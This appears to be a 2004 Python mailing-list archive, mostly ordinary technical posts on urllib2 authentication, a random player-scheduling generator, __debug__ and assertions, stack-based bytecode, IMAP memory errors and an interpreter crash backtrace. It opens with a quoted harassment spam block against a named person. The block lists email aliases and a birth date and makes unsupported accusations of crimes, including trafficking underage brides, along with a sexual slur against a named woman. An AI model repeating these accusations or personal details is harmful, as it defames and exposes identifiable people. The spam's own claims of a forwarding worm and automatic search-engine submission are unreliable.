> > > > guilty of his criminal activities matt parker alias erickvanlintherzog at yahoo.com matt parker alias tania dochenkova at yahoo.com matt parker alias ericlunsen at yahoo.com the mail worm forwards this message to every address book entry matt parker alias sex-machine at yahoo.com this is hard evidence against matt parker http://tinyurl.com/59u3p matt parker alias erikvonlinthout at yahoo.com matt parker 
> > > > alias eric vanlint hout at yahoo.com matt parker alias ericvanlunsen herzog at yahoo.com the dismissed employees filed an official complaint against matt parker with the us embassy matt parker alias frankquisinsky at yahoo.com matt parker alias eric vanlint herzog at yahoo.com pin down the prick matt parker http://tinyurl.com/4cc39 matt parker commits online impersonation and harassment matt parker 
> > > > alias erikvon lunsenhout at yahoo.com matt parker alias e vonlindt herzog at yahoo.com matt parker alias e vanlindthout at yahoo.com matt parker sells underage mail order brides on the web matt parker alias e von lindthout at yahoo.com matt parker impersonates clients to make them seem guilty of his criminal activities damages will be claimed from matt parker to compensate financial loss matt parker 
> > > > alias eric van lunsenhout at yahoo.com matt parker alias tatjana dchenka at yahoo.com matt parker alias ericvonlunsen hout at yahoo.com matt parker alias erickvon lint hout at yahoo.com matt parker alias erikvonlunsenhout at yahoo.com matt parker alias sergei smith at yahoo.com matt parker alias erickvon lunsenhout at yahoo.com matt parker alias erickvan lunsen hout at yahoo.com matt parker alias 
> > > > evonlinthout at yahoo.com matt parker alias gerald jones at yahoo.com matt parker alias ericvonlinthout at yahoo.com matt parker alias evan lindthout at yahoo.com matt parker alias erik vanlunsenhout at yahoo.com matt parker alias erikvonlint hout at yahoo.com this is hard evidence that matt parker spams the net http://tinyurl.com/3htl2 matt parker alias andy c at yahoo.com matt parker alias evanlint 
> > > > herzog at yahoo.com matt parker alias eric vanlindthout at yahoo.com matt parker alias ericvonlunsenherzog at yahoo.com matt parker alias erick vonlint hout at yahoo.com matt parker alias eric von lunsenherzog at yahoo.com matt parker alias matthew parker at yahoo.com matt parker alias erikvon lintherzog at yahoo.com never submit a real email address to t%72uelove%73.com matt parker alias e vonlint at yahoo.com 
> > > > matt parker alias erikvonlunsenherzog at yahoo.com matt parker alias erikvan lindtherzog at yahoo.com matt parker alias sergeismith at yahoo.com matt parker alias http://www.erikvanlint.com matt parker alias eric vonlint herzog at yahoo.com matt parker alias erickvonlunsen herzog at yahoo.com matt parker was born on 13 09 65 matt parker alias erik vanlunsen at yahoo.com matt parker alias evonlindt 
> > > > hout at yahoo.com matt parker alias eric von lint at yahoo.com matt parker alias ericvanlindt herzog at yahoo.com matt parker alias erick von lindthout at yahoo.com matt parker alias erikvan lindthout at yahoo.com matt parker alias erik vanlint herzog at yahoo.com matt parker was exposed as a liar at http://tinyurl.com/6zs8c where he posts as jeff and trueloves matt parker alias erick vanlunsen at yahoo.com 
> > > > matt parker alias erick vanlindthout at yahoo.com matt parker alias erickvonlunsen at yahoo.com matt parker alias e lint at yahoo.com matt parker alias ericvon lindt hout at yahoo.com matt parker alias ericklindt at yahoo.com matt parker alias mparker at yahoo.com matt parker alias ericvan lindt at yahoo.com matt parker alias ericvanlint hout at yahoo.com matt parker alias eric vonlinthout at yahoo.com matt parker 
> > > > alias cy at yahoo.com matt parker alias e van lint at yahoo.com matt parker alias ericlindt at yahoo.com matt parker alias evonlint at yahoo.com anna parker is a russian whore wanted by the russian police for prostitution matt parker alias erik vonlinthout at yahoo.com matt parker alias e von lint herzog at yahoo.com matt parker alias eric vonlunsen herzog at yahoo.com matt parker alias erick vonlindt at yahoo.
> > > > com matt parker alias erickvonlinthout at yahoo.com matt parker alias ericvan lunsenhout at yahoo.com matt parker alias evon lintherzog at yahoo.com matt parker alias erick lunsen at yahoo.com matt parker alias geraldjones at yahoo.com matt parker alias tanjadochenkova at yahoo.com matt parker alias best dayis now at yahoo.com every occurrence of this statement is automatically submitted to search engines the 
> > > > truth of this statement is proven by matt parker trying to delete or refute it matt parker alias erik parker at yahoo.com matt parker alias robertmiller at yahoo.com matt parker alias erickvan lint herzog at yahoo.com matt parker alias e van lunsen herzog at yahoo.com matt parker alias erik van lindthout at yahoo.com matt parker is a dangerous mentally deranged criminal and needs psychiatric confinement 
> > > > matt parker alias phillipcrew at yahoo.com


From jjl at pobox.com  Sun Sep 19 16:11:54 2004
From: jjl at pobox.com (John J. Lee)
Date: 19 Sep 2004 21:11:54 +0100
Subject: HTTP - basic authentication example.
References: <6f402501.0409150737.1bfc6958@posting.google.com>
	<d52c72d2040915092132ce7c34@mail.gmail.com>
	<6f402501040916022738bd70b5@mail.gmail.com>
	<mailman.3402.1095338985.5135.python-list@python.org>
	<6f402501.0409170026.36f24761@posting.google.com>
	<87isabn06u.fsf@pobox.com>
Message-ID: <87fz5exblh.fsf@pobox.com>

jjl at pobox.com (John J. Lee) writes:
[...]
> Assuming Python 2.4 (UNTESTED -- I haven't recently had occasion to
> use any auth.):
> 
> import urllib2
> import cookielib
> import ClientCookie  # for some more urllib2 handlers, for good measure ;-)
> 
> def build_opener(realm, uri, user, password):
>     ch = cookielib.HTTPCookieProcessor()
[...]

Whoops, HTTPCookieProcessor is actually in urllib2, not cookielib.


John


From alanmk at hotmail.com  Sun Sep  5 07:30:37 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Sun, 05 Sep 2004 12:30:37 +0100
Subject: python from Java
In-Reply-To: <mailman.2887.1094353612.5135.python-list@python.org>
References: <mailman.2887.1094353612.5135.python-list@python.org>
Message-ID: <YIC_c.26633$Z14.8564@news.indigo.ie>

[Ajay ]
> can you call a Python application from a Java program? does this require
> any additional package to be installed?

Define what you mean by "call a python application".

Are the python code and java code in the same process?

Are they on the same machine?

Are they on different machines connected on a network?

Etc, etc.

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From aleaxit at yahoo.com  Sat Sep 25 19:03:19 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 26 Sep 2004 01:03:19 +0200
Subject: Counter for items in lists in lists?
References: <d4eff00b.0409242217.224f86ef@posting.google.com>
	<d4eff00b.0409251347.3cc02484@posting.google.com>
Message-ID: <1gkp1yc.1nazukr16n6qslN%aleaxit@yahoo.com>

Charlotte Henkle <charlotte at fgm.com> wrote:
   ...
> I was given a problem by a friend.  He is in a tennis group that has 6
> members.  They play once a week for 10 weeks.  They were having
> trouble generating a schedule that was random but fair (IE everyone
> gets to play a base number of times , and the mod is evenly and
> randomly distributed).

How many of the 6 members can play on each of those once-weekly
occasions?

> My first pass through was short and simple:  Figure out the total
> number of games that will be played, and then use something like this:
> 
> gamePlayers=random.sample(templist, players_per_game)
> 
> to fill up all the game slots.  Neat, simple.
> 
> The problem I found with this solution was that it didn't give me a
> weighted list for remainder.  The same person could get in all of the
> "extra" games.

Yep, you're being a bit "too random" there -- sampling with repetition.

Consider random.shuffle: puts the players in arbitrary order but without
repetition.  Just pick whatever number at a time, say from the back --
doing so from the front would be just as good, but slower, so it might
as well be from the back.  When you're trying to pick more players than
are left in the shuffled list you're peeling stuff from, make sure those
get in then reshuffle the original list minus those who are already in,
for the next time.

Ah, natural language is SO complicated, let's put it in pseudocode.
First, you'll need sets, since obviously there are set operations
involved (e.g., "minus those who are already in" is goofy language for a
set difference operation).  So let's make sure we have sets.  In Python
2.4, they're built-in; in 2.3, they're in module sets of the standard
library.  To ensure you run optimally in either release, star your
program with:

import random
try: set=set
except NameError: from sets import Set as set

Now we're ready to write our pseudocode.  At each step, i.e. each time
another weekly game is planned, we'll have: some list X of players who
haven't played yet in this 'round' in shuffled order; a request for N
players for tonight; and of course the original set P of players.  If N
is less than the items in X we're in an easy case:
    if N < len(X):
        yield X[-N:]
        del X[-N:]
i.e. we just yield the last N items of list X then remove those same
items from further consideration in this round.

If more players are going to play tonight, than there are items in X,
it's a little bit more complicated.  We need to prepare a shuffled list
of all players except those who are alreayd in X...:
    else:
        newX = list(P-set(X))
        random.shuffle(newX)
and then yield the contents of X and the needed N-len(X) items of newX:
        fromNewX = N-len(X)
        yield X + newX[-fromNewX:]
finally, we need to remove from newX the items we just yielded, and set
the remainder as the new value of X for the next evening of play:
        X = newX[:-fromNewX]

Great, but how do we get started?  Heh, funny, if X is empty we're just
in a starting position -- len(X) is 0 so we're gonna prepare newX, and
we're gonna prepare it from the whole of set P... just as we want.  So
all the initialization we need is to make sure that P _is_ a set and
that X is empty:
    P = set(P)
    X = []

Great -- now that we have our pseudocode, how do we turn it into actual
working code?  That's where Python shines, for the pseudocode we jotted
down to help our thinking as we reasoned about the problem IS working
Python code.  We could rename X, P and N, but apart from that, here is
the generator we need...:

def choose_players(P, N):
    assert len(P) >= N > 0
    P = set(P)
    X = []
    while True:
        if N < len(X):
            yield X[-N:]
            del X[-N:]
        else:
            newX = list(P-set(X))
            random.shuffle(newX)
            fromNewX = N-len(X)
            yield X + newX[-fromNewX:]
            X = newX[:-fromNewX]

I've added a check that N makes sense (0 or fewer players, or more than
the club's membership, being needed each time, obviously makes no
sense!) and an unending loop around the whole thing.  This is a
nonterminating generator -- it won't ever stop iterating by itself; it
needs to be called the appropriate number of times.  I find that more
useful than passing the generator a parameter telling it how many times
to loop (you'd just need to add such a parameter T and change the while
to 'for i in xrange(T):' -- but if you need to do that, you could just
as well use iterator.islice or whatever to limit the numbers of steps
over the generator...).


Here's an example use...:

for i, players in enumerate(choose_players(range(13), 4))):
    print players
    if i > 9: break

Here there are 13 members, named 0 to 12, and each week 4 can play, for
11 weeks.  You can run it a few times to eyeball it for correctness, but
of course you'll want to check it out better eventually, for example:

for number_of_tests in range(10):
    number_of_plays = 13*[0]
    for i, players in enumerate(choose_players(range(13), 4)):
        for p in players: number_of_plays[p] += 1
        if i > 9: break
    for i in range(max(number_of_plays)+1):
        print '%d:%d'%(i, number_of_plays.count(i)),
    print

You'll soon see that the results aren't as even as we wished, e.g.:

kallisti:~/downloads alex$ python2.3 pla.py 
0:0 1:0 2:2 3:4 4:7
0:0 1:0 2:1 3:6 4:6
0:0 1:0 2:0 3:8 4:5
0:0 1:0 2:0 3:8 4:5
0:0 1:0 2:2 3:4 4:7
0:0 1:0 2:1 3:6 4:6
0:0 1:0 2:1 3:6 4:6
0:0 1:0 2:0 3:8 4:5
0:0 1:0 2:0 3:8 4:5
0:0 1:0 2:0 3:8 4:5

ooops -- the 44 available 'slots' are NOT always divided "three apiece
and a fourth one for 5 lucky ones of the 13 members" -- sometimes one or
even two members play only twice!  So what's wrong with the pseudode we
had so nicely worked out...?  Hmmm, clearly the 'left over' 13th player
who first gets to play on the 4th night isn't given a chance to play
again soon enough... he should go right back into the new X.  Can we fix
that?  We can sure try, just change in the above:
            newX = list(P-set(X))
            random.shuffle(newX)
            fromNewX = N-len(X)
            yield X + newX[-fromNewX:]
            X = newX[:-fromNewX]
into:
            newX = list(P-set(X))
            random.shuffle(newX)
            fromNewX = N-len(X)
            yield X + newX[-fromNewX:]
            X += newX[:-fromNewX]
            random.shuffle(X)

Ah, NOW our tests are more satisfactory -- huge runs of
0:0 1:0 2:0 3:8 4:5
just as we wanted!  Of course, that's no mathematical _proof_ that our
procedure is correct -- indeed, it's QUITE interesting to provide such a
proof (but I have no space left in the margins of this post to do
so...:-).


I hope that by showing you how a little program can evolve in real life,
from specs to thinking in pseudocode to Python, eyeball-testing, better
testing (with counting;-), correction of some problem, ..., I may have
helped you on your way to "thinking like a programmer"!-)


Alex


From danperl at rogers.com  Thu Sep 30 15:56:44 2004
From: danperl at rogers.com (Dan Perl)
Date: Thu, 30 Sep 2004 15:56:44 -0400
Subject: idiom for debug code?
References: <mailman.4149.1096566273.5135.python-list@python.org>
Message-ID: <JPmdnbWr67Ce-MHcRVn-gw@rogers.com>

Thanks.  I'll have to look more into the consequences of being dependent on 
the use of the "-O" option, but it might be useful.  I'm wondering about 
"-O" because then it all depends on how you are running the script.  I 
usually have a
    #!/usr/bin/env python
at the beginning of the top-level script and I run it without explicitly 
invoking 'python'.  Also, I haven't used py2exe yet and I wonder how "-O" 
would fit with that.  Like I said, I would have to look into it more, but it 
is an interesting idea.

Why are assignments to __debug__ illegal?  I tried to assign to it and it 
raised a SyntaxError exception, so it is enforced.  But anyone knows what is 
the reason behind this design choice?

I've done a search on that and I found a few interesting things, but still 
no reason.  BTW, here are some of those interesting things, basically 
matters of history:

"After a public outcry, assignment to __debug__ is no longer illegal; 
instead, a warning is issued. It will become illegal in 2.2." 
(http://www.python.org/2.1/NEWS.txt)

"The assert statement no longer checks the __debug__ flag, so you can no 
longer disable assertions by assigning to __debug__. Running Python with 
the -O switch will still generate code that doesn't execute any assertions." 
(http://www.python.org/doc/2.3.4/whatsnew/node17.html)

Looking back on the documentation for assert, I see that it actually says 
"is equivalent to", so there is no conflict between the two documents.  But 
that raises the question: what is __debug__ meant for now?

And what does "-O" do besides disabling assertions?  I don't see any 
difference in performance when running my script with or without "-O".

Dan

"Robert Brewer" <fumanchu at amor.org> wrote in message 
news:mailman.4149.1096566273.5135.python-list at python.org...
Dan Perl wrote:
> Is there a mechanism or an idiom for adding code for
> debugging so that it
> can easily be removed in the production code?  I am thinking
> of something
> similar to the C/C++ preprocessor statements with which you
> can compile an
> application with the debug code or without it (the default).

>From the docs (http://docs.python.org/ref/assert.html):

----

The simple form, "assert expression", is equivalent to

if __debug__:
   if not expression: raise AssertionError

The extended form, "assert expression1, expression2", is equivalent to

if __debug__:
   if not expression1: raise AssertionError, expression2

These equivalences assume that __debug__ and AssertionError refer to the
built-in variables with those names. In the current implementation, the
built-in variable __debug__ is 1 under normal circumstances, 0 when
optimization is requested (command line option -O). The current code
generator emits no code for an assert statement when optimization is
requested at compile time. Note that it is unnecessary to include the
source code for the expression that failed in the error message; it will
be displayed as part of the stack trace.

Assignments to __debug__ are illegal. The value for the built-in
variable is determined when the interpreter starts.

----

...which implies other uses for __debug__, I think, which might fit your
needs.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org 




From reynirhs at mi.is  Wed Sep  1 01:42:45 2004
From: reynirhs at mi.is (Reynir Stefánsson)
Date: Wed, 01 Sep 2004 05:42:45 +0000
Subject: Xah Lee's Unixism
References: <87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com>
	<aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com>
Message-ID: <49naj0l3s4cgja010pi2q2si7nrej4fv1a@4ax.com>

So spake red floyd:

>CBFalconer wrote:
>
>> Dump Notepad and get Textpad.  www.textpad.com.  First class.
>> 
>
>Let the editor flame wars begin!
>
>Get gv  im!www.vim.org

In that case, I'll make a word for the microEmacs line. I very much
like MEWIN (a Windows 3.1 version of, I think, me311). It even has
user-definable newlines.
-- 
Reynir Stef?nsson (reynirhs at mi.is)


From peter at engcorp.com  Tue Sep 21 14:48:11 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Sep 2004 14:48:11 -0400
Subject: class size
In-Reply-To: <cipr3e$q72$1@solaris.cc.vt.edu>
References: <cipr3e$q72$1@solaris.cc.vt.edu>
Message-ID: <IOKdnfO124X26s3cRVn-pw@powergate.ca>

Brad Tilley wrote:
> How large (lines of code) should a class be before one should split it 
> into smaller classes? Is there a general rule on this? How many 
> functions should a class contain? Are there limits (theoretical or 
> practical) that people learning classes should adhere to?

Discussing this issue quantitiatively is wrong.  The real
concern should be about things like coupling, coherency,
readability, and maintainability.  Learn about those concepts and
work on lots of code, yours and other people's, until you have
developed an ability to judge when, in a given case, there are
"too many" lines, "too many" classes, "too many" methods.  There
are no strict rules that are useful.

On the flip side, if 99% of modules should have fewer than 100,000
lines of code, and putting 70 classes in a single module is
probably a bad idea. ;-)

-Peter


From martin at v.loewis.de  Fri Sep  3 03:42:58 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 03 Sep 2004 09:42:58 +0200
Subject: compiling to python byte codes
In-Reply-To: <4137f79f$1@news.unimelb.edu.au>
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
	<ch8r2b$mva$1@news.service.uci.edu>
	<4137f79f$1@news.unimelb.edu.au>
Message-ID: <4138207f$0$182$9b622d9e@news.freenet.de>

Maurice LING wrote:
>> If you're using registers, I guess you'd have to store the values in 
>> variables, and load/store them through the stack whenever you do an 
>> operation -- maybe with some optimization if you can keep the result 
>> on the stack.
> 
> 
> I dont't quite get this right. Since x86/PPC uses register operations, 
> why do virtual machines, like python's and java's, are designed as stack 
> machines? Why not just stick to registers?

I really think you should study programming language implementations
for some time before approaching your problem.

For an interpreter, what the processor does is completely irrelevant
(not completely if you have a just-in-time compiler, as that needs
to generate machine code, but totally irrelevant if you have an
interpreter). Using a stack-based implementations allows to simplify
the opcodes - many opcodes don't need parameters, or atmost a single
parameter. This allows to survive with less than 256 opcodes, which
is the source for calling these opcodes "byte code". That, in turn,
allows for an implementation that uses an "interpreter loop", which
consists of a "giant switch".

In x86, a single instruction has between 1 and 20 bytes, and the
decoding process (finding out what the instruction does) is
very lengthy. For a microprocessor, this doesn't matter, since it
is done in hardware, and in parallel with executing other
instructions (pipelining). For an interpreter, the decoding process
must be superfast, and therefore supersimple.

Regards,
Martin


From mwh at python.net  Tue Sep  7 08:21:50 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 7 Sep 2004 12:21:50 GMT
Subject: Proto-PEP: Overloadable Boolean Operators
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
	<1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>
	<2q4s80Fr7lqtU1@uni-berlin.de>
	<mailman.2953.1094537034.5135.python-list@python.org>
	<1gjqh4o.1vx3ihvbruzjfN%aleaxit@yahoo.com>
Message-ID: <m3n002clr6.fsf@pc150.maths.bris.ac.uk>

aleaxit at yahoo.com (Alex Martelli) writes:

> Andrew Durdin <adurdin at gmail.com> wrote:
> 
> > On Tue, 07 Sep 2004 16:37:18 +1200, Greg Ewing
> > <greg at cosc.canterbury.ac.nz> wrote:
> > > Alex Martelli wrote:
> > > > Problem is, __nonzero__ is currently
> > > > typechecked -- it has to return an integer.
> > > 
> > > Yes, that's the problem. I should probably elaborate
> > > on that a bit in the PEP.
> > 
> > That is not the only issue with __nonzero__ versus __not__ -- in some
> > cases (e.g. the symbolic algebra or SQL query constructor) it is
> > useful to determine when an explicit "not" operator has been used.
> 
> Yes, you're right, and my assertion was flawed.  Typechecking is only
> part of the issue.
> 
> 
> > I'm not at a machine with the patch installed on it at the moment, but
> > I just began to whether this patch would have an effect on expressions
> > like (a < b < c) (which are also short-circuiting)...  Come to think
> > of it, how do objects which override __gt__ and the other comparisons
> > (particularly for expression construction) work in that case?
> 
> I believe a < b < c has exactly the semantics of [but with no doube
> evaluation of b...]:
>     (a < b) and (b < c)
> 
> Overriding _lt_ to give a print seems to confirm that:

dis.dis can be used to give the same impression:

>>> def f(a, b, c):
...     return a < b < c
... 
>>> def g(a, b, c):
...     return a < b and b < c
... 
>>> dis.dis(f)
  2           0 LOAD_FAST                0 (a)
              3 LOAD_FAST                1 (b)
              6 DUP_TOP             
              7 ROT_THREE           
              8 COMPARE_OP               0 (<)
             11 JUMP_IF_FALSE           10 (to 24)
             14 POP_TOP             
             15 LOAD_FAST                2 (c)
             18 COMPARE_OP               0 (<)
             21 JUMP_FORWARD             2 (to 26)
        >>   24 ROT_TWO             
             25 POP_TOP             
        >>   26 RETURN_VALUE        
             27 LOAD_CONST               0 (None)
             30 RETURN_VALUE        
>>> dis.dis(g)
  2           0 LOAD_FAST                0 (a)
              3 LOAD_FAST                1 (b)
              6 COMPARE_OP               0 (<)
              9 JUMP_IF_FALSE           10 (to 22)
             12 POP_TOP             
             13 LOAD_FAST                1 (b)
             16 LOAD_FAST                2 (c)
             19 COMPARE_OP               0 (<)
        >>   22 RETURN_VALUE        
             23 LOAD_CONST               0 (None)
             26 RETURN_VALUE        

Cheers,
mwh

-- 
  at any rate, I'm satisfied that not only do they know which end of
  the pointy thing to hold, but where to poke it for maximum effect.
                                  -- Eric The Read, asr, on google.com


From jmfbahciv at aol.com  Sun Sep 12 07:51:17 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Sun, 12 Sep 04 11:51:17 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
Message-ID: <41444b6a$0$6932$61fed72c@news.rcn.com>

In article <4141c830$0$65574$a1866201 at newsreader.visi.com>,
   Grant Edwards <grante at visi.com> wrote:
>On 2004-09-10, Alan Balmer <albalmer at att.net> wrote:
>
>>>It's been revealed that here in British Columbia (that part of
>>>Canada on the Pacific coast for those of you who are geographically
>>>challenged), management of medical information has been farmed out
>>>to a subsidiary of a U.S. corporation.  According to the Patriot Act,
>>>the U.S. government is entitled to access these files, and anyone -
>>>American or Canadian - who so much as mentions that they're doing it
>>>can be thrown into a U.S. jail.
>>
>> Can you point to the relevant section(s) of the Act?
>>
>> Can you point to the international agreement which allows Canadian
>> citizens to be thrown into US jails for the stated offense?
>
>I know I shouldn't reply to threads like this, but I just can't
>help it...
>
>What makes you think that the current US government gives a
>shit about international agreements?  Bush thinks he's entitled
>to declare anybody and everybody an "enemy combatant" and lock
>them up in secret forever.  

Would rather he do like Italy?  They are letting them go.
Then these released people go blow up something else.

/BAH

Subtract a hundred and four for e-mail.


From bwilk_97 at yahoo.com  Sat Sep 18 07:35:53 2004
From: bwilk_97 at yahoo.com (Bill Wilkinson)
Date: 18 Sep 2004 04:35:53 -0700
Subject: wxPython Not Ready for Commercial Use
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
Message-ID: <8e61d9bd.0409180335.3f5c9e58@posting.google.com>

admin at polerio.com (Polerio Babao Jr.II) wrote in message news:<dcf37d82.0409160827.1de98db9 at posting.google.com>...


> 
> I am targetting crystal report as my ideal reporting application. From
> my experiences I was not able to print a very good output for
> commercial application. If anyone can provide me a very good reporting
> application that can be integrated within python I must say python can
> be used for commercial gui app. If not then we are all correct, python
> is good for training purposes but not for production yet. Please
> excempt reportlab from your choices as I have used it already and was
> not able to simulate excel like output, still you can do it, the very
> difficult way. I am just dissapointed, now I am trying to learn c++/qt
> to solve my gui and printing problem. Please correct me if I am wrong.
> Thanks.

I use Jython with the POI libraries for publishing to Excel.
http://jakarta.apache.org/poi/

There is a Java version of Crystal Reports now.  You can also use
Jasper Reports: http://jasperreports.sourceforge.net .  Both of these
can be used nicely from Jython.


From aahz at pythoncraft.com  Mon Sep 20 18:32:53 2004
From: aahz at pythoncraft.com (Aahz)
Date: 20 Sep 2004 18:32:53 -0400
Subject: So I guess PyUI is long abandonded? What else is there?
References: <cihu17$c4b$1@wheel2.two14.net>
	<864d3709040918140135a95917@mail.gmail.com>
	<mailman.3486.1095545238.5135.python-list@python.org>
Message-ID: <cinlql$iuv$1@panix2.panix.com>

[p&e per request, but please don't return the favor]

In article <mailman.3486.1095545238.5135.python-list at python.org>,
Martin Maney <maney at two14.net> wrote:
>
>This truly does help.  Now I can stop wondering whether it was
>something I was doing wrong and walk away from this waste of time. 
>Would some god-like person with access please make a note of this on
>the uneditable PyUi page on the wiki?  Then there'd be at least a
>chance others could avoid wasting their time.

Which wiki?  If you're talking about the one on python.org, you need to
go through the UserPreferences link to get yourself an account, but
after that, Bob's your uncle.  (Even works with Lynx, as long as cookies
are enabled....)
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"A foolish consistency is the hobgoblin of little minds, adored by little
statesmen and philosophers and divines."  --Ralph Waldo Emerson


From bokr at oz.net  Sat Sep  4 16:07:36 2004
From: bokr at oz.net (Bengt Richter)
Date: 4 Sep 2004 20:07:36 GMT
Subject: print with no newline
References: <2prasrFo4rruU1@uni-berlin.de> <ch9vhg$n35$01$1@news.t-online.com>
Message-ID: <chd7a8$gnc$0$216.39.172.122@theriver.com>

On Fri, 03 Sep 2004 16:36:31 +0200, Peter Otten <__peter__ at web.de> wrote:

>Paul Watson wrote:
>
>> I thought that using a comma at the end of a print statement would
>> suppress
>> printing of a newline.  Am I misunderstanding this feature?  How can I use
>> print and not have a newline appended at the end?
>
>I thought that, too. It turns out that Python writes an additional newline
>on exit if the softspace flag is set. So
>
>$ python -c "import sys; print 'here',; sys.stdout.softspace = False" >
>tmp.txt
>$ od -c tmp.txt
>0000000   h   e   r   e
>0000004
>
>is a viable if ugly workaround. 
>
When I want printf-like control, I sometimes use (IIRC from last time ;-)

 >>> import sys
 >>> def printf(fmt, *args): sys.stdout.write(fmt % args)
 ...
 >>> printf('here')
 here>>>
 >>> printf('here %s\n', 'doggie')
 here doggie
 >>>

Regards,
Bengt Richter


From t-meyer at ihug.co.nz  Wed Sep 15 02:35:30 2004
From: t-meyer at ihug.co.nz (Tony Meyer)
Date: Wed, 15 Sep 2004 18:35:30 +1200
Subject: IMAP4 example in docs causes memory error for me (OS X 10.3,
	python 2.3) - help?
In-Reply-To: <ECBA357DDED63B4995F5C1F5CBE5B1E8DABBAD@its-xchg4.massey.ac.nz>
Message-ID: <ECBA357DDED63B4995F5C1F5CBE5B1E86C36F7@its-xchg4.massey.ac.nz>

> I am running the IMAP4 example in the documentation:
> 
> http://www.python.org/doc/lib/imap4-example.html
> 
> with two small changes (different username, comment out print 
> statement). The inbox I am accessing is 42 MB and has 
> 80-someodd messages, so the messages are fairly big (all of 
> them have attachments). When I run this program, I get a 
> malloc error.

Background: I don't have access to a mac at the moment to test this there,
so this is theory based.  However, I do look after the IMAP filter script
that's part of SpamBayes, so get a fair bit of mail about that, including
from mac users.  Some of those have reported much the same error, and
googling about for information gives some, although not a lot.

The information that I found at the time indicated that this was the result
of a change introduced with OS X 10.3.  The problem always occurs at line
301 of socket.py, which is basically just retrieving the data from the
socket.  Under the hood (i.e. in the C of the socket module, around line
2024), all it's really doing is allocating memory for the amount to be
received, and receiving it.

With SpamBayes, I just wormed around the problem (i.e. I skipped those
messages).  If you do need to get hold of them, then I imagine that this
will be rather annoying to fix.  My ideas at the moment are:

 * I suspect that you could retrieve chunks of the message (with the
appropriate IMAP commands) and then put it all together afterwards.

 * You could modify imaplib (or have a subclass) that (in _getresponse())
alters the way that literals are read (i.e. change it to chunks).

 * Otherwise, particularly if you are able to run with a modified Python,
you could try fixing up socketmodule.c to do this more nicely on OS X.

I plan to look into it more at some point, but have no idea when I'll have
time.

If you do find a workable solution, please post it to the list, as it would
definitely be of interest.

> Now, I'm really new to python programming, but 
> it was my understanding that memory management was not 
> something I had to explicitly do. I'd appreciate some help in 
> understanding what I've done wrong.

FWIW, you shouldn't ever need worry about the malloc'ing with Python (unless
you're writing extensions etc).  This is a very odd case, caused by some OS
X 10.3 oddity.  I'm fairly confident that if you wrote a (correct) little C
program that asked for the same amount of memory, OS X would fail there,
too.

=Tony Meyer



From benevilent at optusnet.com.au  Wed Sep 15 03:11:22 2004
From: benevilent at optusnet.com.au (benevilent at optusnet.com.au)
Date: Wed, 15 Sep 2004 17:11:22 +1000
Subject: SIGILL,Illegal instruction
Message-ID: <pan.2004.09.15.07.11.18.512567@optusnet.com.au>

Hey,

Occasionally I am getting a SIGILL instruction when embedding the python
Interpreter. Here is a backtrace:

#0  0x0810b73e in try_3way_to_rich_compare (v=0x8ffe7a4, w=0x8220420, op=0) at Objects/object.c:946
#1  0x0810ba49 in PyObject_RichCompare (v=0x8ffe7a4, w=0x8220420, op=0) at Objects/object.c:1042
#2  0x08149c6b in cmp_outcome (op=0, v=0x8ffe7a4, w=0x8220420) at Python/ceval.c:3880
#3  0x081448d2 in eval_frame (f=0xcb4dd1c) at Python/ceval.c:1965
#4  0x08148cad in fast_function (func=0x535babc4, pp_stack=0xbfffba04, n=3, na=3, nk=0) at Python/ceval.c:3518
#5  0x08148aa2 in call_function (pp_stack=0xbfffba04, oparg=2) at Python/ceval.c:3458
#6  0x08145076 in eval_frame (f=0xa22c044) at Python/ceval.c:2116
#7  0x08148cad in fast_function (func=0x535c5da4, pp_stack=0xbfffbb94, n=1, na=1, nk=0) at Python/ceval.c:3518
#8  0x08148aa2 in call_function (pp_stack=0xbfffbb94, oparg=0) at Python/ceval.c:3458
#9  0x08145076 in eval_frame (f=0xc17b824) at Python/ceval.c:2116
#10 0x08148cad in fast_function (func=0x535ba714, pp_stack=0xbfffbd24, n=1, na=1, nk=0) at Python/ceval.c:3518
#11 0x08148aa2 in call_function (pp_stack=0xbfffbd24, oparg=0) at Python/ceval.c:3458
#12 0x08145076 in eval_frame (f=0xc176f64) at Python/ceval.c:2116
